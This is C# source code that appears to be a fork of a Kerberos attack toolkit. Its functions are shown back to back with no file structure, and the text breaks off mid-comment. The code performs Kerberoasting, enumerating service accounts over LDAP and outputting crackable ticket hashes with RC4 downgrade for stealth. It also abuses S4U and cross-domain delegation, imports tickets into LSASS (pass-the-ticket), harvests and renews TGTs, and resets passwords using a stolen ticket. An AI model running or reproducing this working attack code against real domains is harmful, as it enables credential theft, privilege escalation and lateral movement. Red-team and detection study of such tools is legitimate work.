public static void GetTGSRepHash(KRB_CRED TGT, string spn, string userName = "******", string distinguishedName = "", string outFile = "", bool simpleOutput = false, string domainController = "", Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial) { // use a TGT blob to request a hash instead of the KerberosRequestorSecurityToken method string userDomain = "DOMAIN"; if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) { // extract the domain name from the distinguishedname Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase); string domainDN = dnMatch.Groups["Domain"].ToString(); userDomain = domainDN.Replace("DC=", "").Replace(',', '.'); } // extract out the info needed for the TGS-REQ request string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; string domain = TGT.enc_part.ticket_info[0].prealm; Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; string[] services = spn.Split(','); foreach (string sname in services) { // request the new service tickt byte[] tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, sname, requestEType, null, false, domainController, false); if (tgsBytes != null) { KRB_CRED tgsKirbi = new KRB_CRED(tgsBytes); DisplayTGShash(tgsKirbi, true, userName, userDomain, outFile, simpleOutput); Console.WriteLine(); } } }
public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true) { // kirbi = the TGT .kirbi to use for ticket requests // service = the SPN being requested // requestEType = specific encryption type for the request, Interop.KERB_ETYPE.subkey_keymaterial implies default // ptt = "pass-the-ticket" so apply the ticket to the current logon session // domainController = the specific domain controller to send the request, defaults to the system's DC // display = true to display the ticket // extract out the info needed for the TGS-REQ request string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; // the etype for the PA Data for the request, so needs to match the TGT key type Interop.KERB_ETYPE paEType = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string[] services = service.Split(','); foreach (string sname in services) { // request the new service ticket TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display); Console.WriteLine(); } }
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "") { Console.WriteLine("[*] Action: S4U\r\n"); if (!String.IsNullOrEmpty(targetDomain) && !String.IsNullOrEmpty(targetDomainController)) { // do cross domain S4U // no support for supplying a TGS due to requiring more than a single ticket Console.WriteLine("[*] Performing cross domain constrained delegation"); CrossDomainS4U(kirbi, targetUser, targetSPN, ptt, domainController, altService, targetDomain, targetDomainController); } else { if (tgs != null && String.IsNullOrEmpty(targetSPN) == false) { Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]); S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs.tickets[0]); } else { Ticket self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService); if (String.IsNullOrEmpty(targetSPN) == false) { S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self); } } } }
private void RefreshTicketCache(bool display = false) { // goes through each ticket in the cache, removes any tickets that have expired // and renews any tickets that are going to expire before the next check interval // then displays the current "active" ticket cache if "display" is passed as true if (display) { Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now); } for (var i = harvesterTicketCache.Count - 1; i >= 0; i--) { var endTime = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime); var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till); var userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; // check if the ticket has now expired if (endTime < DateTime.Now) { Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName); // remove the ticket from the cache Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); harvesterTicketCache.RemoveAt(i); Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); } else { // check if the ticket is going to expire before the next interval checkin // but we'll still be in the renew window if ((endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds))) { // renewal limit after checkin interval, so renew the TGT userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName); var bytes = Renew.TGT(harvesterTicketCache[i], "", false, "", false); var renewedCred = new KRB_CRED(bytes); harvesterTicketCache[i] = renewedCred; } if (display) { LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap); } } } if (display) { Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count); } }
public static byte[] TGT(KRB_CRED kirbi, string outfile = "", bool ptt = false, string domainController = "", bool display = true) { // extract out the info needed for the TGS-REQ/AP-REQ renewal string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; // request the new TGT renewal return(TGT(userName, domain, ticket, clientKey, etype, outfile, ptt, domainController, display)); }
private static void CrossDomainS4U(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", string targetDomainController = "", string targetDomain = "") { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; // First retrieve our service ticket for the target domains KRBTGT from our DC Console.WriteLine("[*] Retrieving TGS from {0} for foreign domain, {1}, KRBTGT service", domain, targetDomain); KRB_CRED crossTGS = CrossDomainKRBTGT(userName, domain, domainController, targetDomain, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial); Interop.KERB_ETYPE crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; byte[] crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; // Next retrieve an S4U2Self from the target domains DC // to be used when we ask for a S4U2Self from our DC // We need to use our TGS for the target domains KRBTGT for this Console.WriteLine("[*] Performing cross domain S4U2Self from {0} to {1}", domain, targetDomain); KRB_CRED foreignSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial); crossEtype = (Interop.KERB_ETYPE)foreignSelf.enc_part.ticket_info[0].key.keytype; crossKey = foreignSelf.enc_part.ticket_info[0].key.keyvalue; // Now retrieve an S4U2Self from our DC // We use the foreign S4U2Self TGS to ask for this KRB_CRED localSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), domainController, foreignSelf.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, false); // Using our standard TGT and attaching our local S4U2Self // retrieve an S4U2Proxy from our DC // This will be needed for the last request KRB_CRED localS4U2Proxy = CrossDomainS4U2Proxy(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetSPN, domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, localSelf.tickets[0], false); crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; // Lastly retrieve the final S4U2Proxy from the foreign domains DC // This is the service ticket we need to access the target service KRB_CRED foreignS4U2Proxy = CrossDomainS4U2Proxy(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetSPN, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, localS4U2Proxy.tickets[0], true, ptt); }
public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true) { KRB_CRED currentKirbi = kirbi; while (true) { // extract out the info needed for the TGS-REQ/AP-REQ renewal string userName = currentKirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = currentKirbi.enc_part.ticket_info[0].prealm; Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain); DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].endtime); DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].renew_till); Console.WriteLine("[*] endtime : {0}", endTime); Console.WriteLine("[*] renew-till : {0}", renewTill); if (endTime > renewTill) { Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill); return; } else { double ticks = (endTime - DateTime.Now).Ticks; if (ticks < 0) { Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime); return; } // get the window to sleep until the next endtime for the ticket, -30 minutes for a window double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30; Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes); System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000); Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain); byte[] bytes = TGT(currentKirbi, null, false, domainController, true); currentKirbi = new KRB_CRED(bytes); } } }
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "") { // first retrieve a TGT for the user byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID()); if (kirbiBytes == null) { Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters"); return; } else { Console.WriteLine("\r\n"); } // transform the TGT bytes into a .kirbi file KRB_CRED kirbi = new KRB_CRED(kirbiBytes); // execute the s4u process Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain); }
public static void DisplayTGShash(KRB_CRED cred, bool kerberoastDisplay = false, string kerberoastUser = "******", string kerberoastDomain = "DOMAIN", string outFile = "", bool simpleOutput = false) { // output the hash of the encrypted KERB-CRED service ticket in a kerberoast hash form int encType = cred.tickets[0].enc_part.etype; string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray()); string domainName = cred.enc_part.ticket_info[0].prealm; string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray()); string cipherText = BitConverter.ToString(cred.tickets[0].enc_part.cipher).Replace("-", string.Empty); string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(0, 32), cipherText.Substring(32)); if (!String.IsNullOrEmpty(outFile)) { string outFilePath = Path.GetFullPath(outFile); try { File.AppendAllText(outFilePath, hash + Environment.NewLine); } catch (Exception e) { Console.WriteLine("Exception: {0}", e.Message); } Console.WriteLine("[*] Hash written to {0}", outFilePath); } else if (simpleOutput) { Console.WriteLine(hash); } else { bool header = false; if (TDNite.Program.wrapTickets) { foreach (string line in Helpers.Split(hash, 80)) { if (!header) { if (kerberoastDisplay) { Console.WriteLine("[*] Hash : {0}", line); } else { Console.WriteLine(" Kerberoast Hash : {0}", line); } } else { if (kerberoastDisplay) { Console.WriteLine(" {0}", line); } else { Console.WriteLine(" {0}", line); } } header = true; } } else { if (kerberoastDisplay) { Console.WriteLine("[*] Hash : {0}", hash); } else { Console.WriteLine(" Kerberoast Hash : {0}", hash); } } } }
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true) { string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); } else { Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); } Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, ""); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { if (display) { Console.WriteLine("[+] TGS request successful!"); } // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, bool userStats = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName)) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(); } bindPath = String.Format("LDAP://{0}", dc); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { if (resultLimit > 0) { userSearcher.SizeLimit = resultLimit; Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString()); } SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); long lastPwdSet = (long)(user.Properties["pwdlastset"][0]); DateTime pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet); Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } try { if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } int year = (int)pwdLastSet.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] = userPWDsetYears[year] + 1; } } catch { } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if (!String.IsNullOrEmpty(domain)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc); } } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "") { // implements the Kerberos-based password reset originally disclosed by Aorato // This function is misc::changepw in Kekeo // Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence // AP-REQ with randomized sub session key // KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key // reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244) string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } // extract the user and domain from the existing .kirbi ticket string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string userDomain = kirbi.enc_part.ticket_info[0].prealm; Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain); Console.WriteLine("[*] New password value: {0}", newPassword); // build the AP_REQ using the user ticket's keytype and key Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request"); AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.tickets[0], kirbi.enc_part.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR); // create a new session subkey for the Authenticator and match the encryption type of the user key Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype); ap_req.authenticator.subkey = new EncryptionKey(); ap_req.authenticator.subkey.keytype = kirbi.enc_part.ticket_info[0].key.keytype; // generate a random session subkey Random random = new Random(); byte[] randKeyBytes; Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; if (randKeyEtype == Interop.KERB_ETYPE.rc4_hmac) { randKeyBytes = new byte[16]; random.NextBytes(randKeyBytes); ap_req.authenticator.subkey.keyvalue = randKeyBytes; } else if (randKeyEtype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { randKeyBytes = new byte[32]; random.NextBytes(randKeyBytes); ap_req.authenticator.subkey.keyvalue = randKeyBytes; } else { Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); return; } Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes)); // randKeyBytes is now the session key used for the KRB-PRIV structure // MIMIKATZ_NONCE ;) ap_req.authenticator.seq_number = 1818848256; // now build the KRV-PRIV 